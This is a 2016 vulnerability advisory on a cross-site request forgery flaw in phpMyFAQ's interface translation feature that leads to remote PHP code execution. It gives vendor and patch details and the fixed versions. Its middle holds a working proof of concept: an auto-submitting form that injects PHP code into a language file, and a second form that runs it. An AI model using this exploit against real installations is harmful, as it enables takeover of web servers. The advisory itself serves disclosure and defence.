phpMyFAQ 2.8.26 / 2.9.0-RC2 Cross Site Request Forgery

`Advisory ID: HTB23300  
Product: phpMyFAQ  
Vendor: http://www.phpmyfaq.de   
Vulnerable Version(s): 2.8.26, 2.9.0-RC2 and probably prior  
Tested Version: 2.8.26, 2.9.0-RC2  
Advisory Publication: March 30, 2016 [without technical details]  
Vendor Notification: March 30, 2016   
Vendor Patch: April 11, 2016   
Public Disclosure: April 20, 2016   
Vulnerability Type: Cross-Site Request Forgery [CWE-352]  
Risk Level: High   
CVSSv3 Base Score: 8.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H]  
Solution Status: Fixed by Vendor  
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )   
  
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Advisory Details:  
  
High-Tech Bridge Security Research Lab discovered a high-risk security vulnerability in a popular multilingual FAQ software phpMyFAQ. A remote attacker can execute arbitrary PHP code on vulnerable system via CSRF attack against website administrator and completely compromise vulnerable web application.   
  
The vulnerability exists due to application does not properly verify origin of HTTP requests in "Interface Translation" functionality. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request, as if it was coming from the legitimate user, inject and execute arbitrary PHP code on the target system with privileges of the webserver.   
  
A simple CSRF exploit below can be used to inject "phpinfo()" PHP function into file "/lang/language_af.php":  
  
  
<form action="http://[host]/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_added_trans" method="POST" name="main">  
<input type="hidden" name="translang" value="AF" />  
<input type="hidden" name="langdir" value="ltr" />  
<input type="hidden" name="langnplurals" value="1" />  
<input type="hidden" name="langdesc" value="*/ phpinfo(); /*" />  
<input type="hidden" name="author[]" value="2" />  
<input type="submit" value="Submit request" />  
</form><script>document.main.submit();</script>  
  
  
To trigger the execution of "phpinfo()", just open the following file in your browser (no privileges required):   
  
  
<form action="http://[host]/" method="POST">  
<input type="hidden" name="action" value="" />  
<input type="hidden" name="language" value="af" />  
<input type="submit" value="Submit request" />  
</form>  
  
  
  
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Solution:  
  
Update to phpMyFAQ 2.8.27 or 2.9.0-RC3  
  
More Information:  
http://www.phpmyfaq.de/security/advisory-2016-04-11  
  
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References:  
  
[1] High-Tech Bridge Advisory HTB23300 - https://www.htbridge.com/advisory/HTB23300 - RCE via CSRF in phpMyFAQ  
[2] phpMyFAQ - http://www.phpmyfaq.de - Open Source FAQ software  
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.  
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.  
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.  
  
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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.  
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